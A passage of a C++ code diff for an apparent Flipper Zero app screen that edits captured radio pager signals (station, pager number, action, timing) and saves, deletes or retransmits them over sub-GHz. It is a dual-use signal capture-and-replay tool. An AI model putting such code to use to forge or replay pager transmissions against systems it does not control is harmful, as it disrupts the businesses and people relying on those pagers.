+    String actionStr;
+    String hexStr;
+    String repeatsStr;
+    String frequencyStr;
+    String teStr;
+    int32_t saveAsItemIndex = -1;
+    int32_t deleteItemIndex = -1;
+
+    bool isFromFile;
+    const char* saveAsName = NULL;
+
+public:
+    EditPagerScreen(
+        AppConfig* config,
+        SubGhzModule* subghz,
+        PagerReceiver* receiver,
+        PagerDataGetter pagerGetter,
+        bool isFromFile
+    ) {
+        this->config = config;
+        this->subghz = subghz;
+        this->receiver = receiver;
+        this->getPager = pagerGetter;
+        this->isFromFile = isFromFile;
+
+        StoredPagerData* pager = getPager();
+        PagerDecoder* decoder = receiver->decoders[pager->decoder];
+        PagerProtocol* protocol = receiver->protocols[pager->protocol];
+        uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
+
+        varItemList = new VariableItemListUiView();
+        varItemList->SetOnDestroyHandler(HANDLER(&EditPagerScreen::destroy));
+        varItemList->SetEnterPressHandler(HANDLER_1ARG(&EditPagerScreen::enterPressed));
+
+        varItemList->AddItem(
+            encodingItem = new UiVariableItem(
+                "Encoding", pager->decoder, receiver->decodersCount, HANDLER_1ARG(&EditPagerScreen::encodingValueChanged)
+            )
+        );
+
+        varItemList->AddItem(stationItem = new UiVariableItem("Station", HANDLER_1ARG(&EditPagerScreen::stationValueChanged)));
+        varItemList->AddItem(pagerItem = new UiVariableItem("Pager", HANDLER_1ARG(&EditPagerScreen::pagerValueChanged)));
+        updatePagerIsEditable();
+
+        varItemList->AddItem(
+            actionItem = new UiVariableItem(
+                "Action",
+                decoder->GetActionValue(pager->data),
+                decoder->GetActionsCount(),
+                HANDLER_1ARG(&EditPagerScreen::actionValueChanged)
+            )
+        );
+
+        varItemList->AddItem(hexItem = new UiVariableItem("HEX value", HANDLER_1ARG(&EditPagerScreen::hexValueChanged)));
+        varItemList->AddItem(protocolItem = new UiVariableItem("Protocol", protocol->GetSystemName()));
+        varItemList->AddItem(
+            frequencyItem = new UiVariableItem(
+                "Frequency", frequencyStr.format("%lu.%02lu", frequency / 1000000, (frequency % 1000000) / 10000)
+            )
+        );
+        varItemList->AddItem(
+            teItem = new UiVariableItem(
+                "TE", pager->te / TE_DIV, protocol->GetMaxTE() / TE_DIV, HANDLER_1ARG(&EditPagerScreen::teValueChanged)
+            )
+        );
+        varItemList->AddItem(
+            repeatsItem = new UiVariableItem(
+                "Signal Repeats", repeatsStr.format(pager->repeats == MAX_REPEATS ? "%d+" : "%d", pager->repeats)
+            )
+        );
+
+        if(canSave()) {
+            const char* saveAsItemName = isFromFile ? "Save / Rename" : "Save signal as...";
+            saveAsItemIndex = varItemList->AddItem(saveAsItem = new UiVariableItem(saveAsItemName, ""));
+        }
+
+        if(canDelete()) {
+            deleteItemIndex = varItemList->AddItem(deleteItem = new UiVariableItem("Delete station", ""));
+        }
+    }
+
+private:
+    bool canSave() {
+        return !receiver->IsKnown(getPager()) || this->isFromFile;
+    }
+
+    bool canDelete() {
+        return isFromFile;
+    }
+
+    String* currentStationName() {
+        return receiver->GetName(getPager());
+    }
+
+    void updatePagerIsEditable() {
+        StoredPagerData* pager = getPager();
+        int pagerNum = receiver->decoders[pager->decoder]->GetPager(pager->data);
+        if(pagerNum < UINT8_MAX) {
+            pagerItem->SetSelectedItem(pagerNum, UINT8_MAX);
+        } else {
+            pagerItem->SetSelectedItem(0, 1);
+        }
+    }
+
+    void enterPressed(int32_t index) {
+        if(index == saveAsItemIndex) {
+            saveAs();
+        } else if(index == deleteItemIndex) {
+            DialogUiView* removeConfirmation = new DialogUiView("Really delete?", currentStationName()->cstr());
+            removeConfirmation->AddLeftButton("Nope");
+            removeConfirmation->AddRightButton("Yup");
+            removeConfirmation->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::confirmDelete));
+
+            UiManager::GetInstance()->PushView(removeConfirmation);
+        } else {
+            transmitMessage();
+        }
+    }
+
+    void confirmDelete(DialogExResult result) {
+        if(result == DialogExResultRight) {
+            AppFileSysytem().DeletePager(receiver->GetCurrentUserCategory(), getPager());
+            receiver->ReloadKnownStations();
+            UiManager::GetInstance()->PopView(false);
+        }
+    }
+
+    void transmitMessage() {
+        StoredPagerData* pager = getPager();
+        PagerProtocol* protocol = receiver->protocols[pager->protocol];
+        uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
+        subghz->Transmit(protocol->CreatePayload(pager->data, pager->te, config->SignalRepeats), frequency);
+
+        FlipperDolphin::Deed(DolphinDeedSubGhzSend);
+    }
+
+    void saveAs() {
+        TextInputUiView* nameInputView = new TextInputUiView("Enter station name", NAME_MIN_LENGTH, NAME_MAX_LENGTH);
+        String* name = currentStationName();
+        if(name != NULL) {
+            nameInputView->SetDefaultText(name);
+        }
+        nameInputView->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::saveAsHandler));
+        UiManager::GetInstance()->PushView(nameInputView);
+    }
+
+    void saveAsHandler(const char* name) {
+        saveAsName = name;
+
+        UiManager::GetInstance()->ShowLoading();
+        UiManager::GetInstance()->PushView(
+            (new SelectCategoryScreen(true, User, HANDLER_2ARG(&EditPagerScreen::categorySelected)))->GetView()
+        );
+    }
+
+    void categorySelected(CategoryType, const char* category) {
+        StoredPagerData* pager = getPager();
+        PagerDecoder* decoder = receiver->decoders[pager->decoder];
+        PagerProtocol* protocol = receiver->protocols[pager->protocol];
+        uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
+
+        AppFileSysytem().SaveToUserCategory(category, saveAsName, pager, decoder, protocol, frequency);
+        FlipperDolphin::Deed(DolphinDeedSubGhzSave);
+
+        receiver->ReloadKnownStations();
+
+        for(int i = 0; i < 3; i++) {
+            UiManager::GetInstance()->PopView(false);
+        }
+    }
+
+    const char* encodingValueChanged(uint8_t index) {
+        StoredPagerData* pager = getPager();
+        PagerDecoder* decoder = receiver->decoders[index];
+        pager->decoder = index;
+
+        if(stationItem != NULL) {
+            stationItem->Refresh();
+        }
+        if(pagerItem != NULL) {
+            updatePagerIsEditable();
+            pagerItem->Refresh();
+        }
+        if(actionItem != NULL) {
+            actionItem->SetSelectedItem(decoder->GetActionValue(pager->data), decoder->GetActionsCount());
+        }
+        return receiver->decoders[pager->decoder]->GetShortName();
+    }
+
+    const char* stationValueChanged(uint8_t) {
+        StoredPagerData* pager = getPager();
+        return stationStr.fromInt(receiver->decoders[pager->decoder]->GetStation(pager->data));
+    }
+
+    const char* pagerValueChanged(uint8_t newPager) {
+        StoredPagerData* pager = getPager();
+        PagerDecoder* decoder = receiver->decoders[pager->decoder];
+        if(pagerItem->Editable() && newPager != decoder->GetPager(pager->data)) {
+            pager->data = decoder->SetPager(pager->data, newPager);
+            pager->edited = true;
+
+            if(hexItem != NULL) {
+                hexItem->Refresh();
+            }
+        }
+        return pagerStr.fromInt(decoder->GetPager(pager->data));
+    }
+
+    const char* actionValueChanged(uint8_t value) {
+        StoredPagerData* pager = getPager();
+        PagerDecoder* decoder = receiver->decoders[pager->decoder];
+        if(decoder->GetActionValue(pager->data) != value) {
+            pager->data = decoder->SetActionValue(pager->data, value);
+            pager->edited = true;
+        }
+
+        if(hexItem != NULL) {
+            hexItem->Refresh();
+        }
+
+        uint8_t actionValue = decoder->GetActionValue(pager->data);
+        PagerAction action = decoder->GetAction(pager->data);
+        const char* actionDesc = PagerActions::GetDescription(action);
+
+        return actionStr.format("%d (%s)", actionValue, actionDesc);
+    }
+
+    const char* hexValueChanged(uint8_t) {
+        StoredPagerData* pager = getPager();
+        return hexStr.format("%06X", (unsigned int)pager->data);
+    }
+
+    const char* teValueChanged(uint8_t newTeIndex) {
+        StoredPagerData* pager = getPager();
+        if(newTeIndex != pager->te / TE_DIV) {
+            int teDiff = pager->te % TE_DIV;
+            int newTe = newTeIndex * TE_DIV + teDiff;
+
+            pager->te = newTe;
+            pager->edited = true;
+        }
+
+        return teStr.format("%d", pager->te);
+    }
+
+    void destroy() {
+        delete encodingItem;
+        delete stationItem;
+        delete pagerItem;
+        delete actionItem;
+        delete hexItem;
+        delete frequencyItem;
+        delete teItem;
+        delete protocolItem;
+        delete repeatsItem;
+
+        if(saveAsItem != NULL) {
+            delete saveAsItem;
+        }
+
+        if(deleteItem != NULL) {
+            delete deleteItem;
+        }
+
+        delete this;
+    }
+
+public:
+    UiView* GetView() {
+        return varItemList;
+    }
+};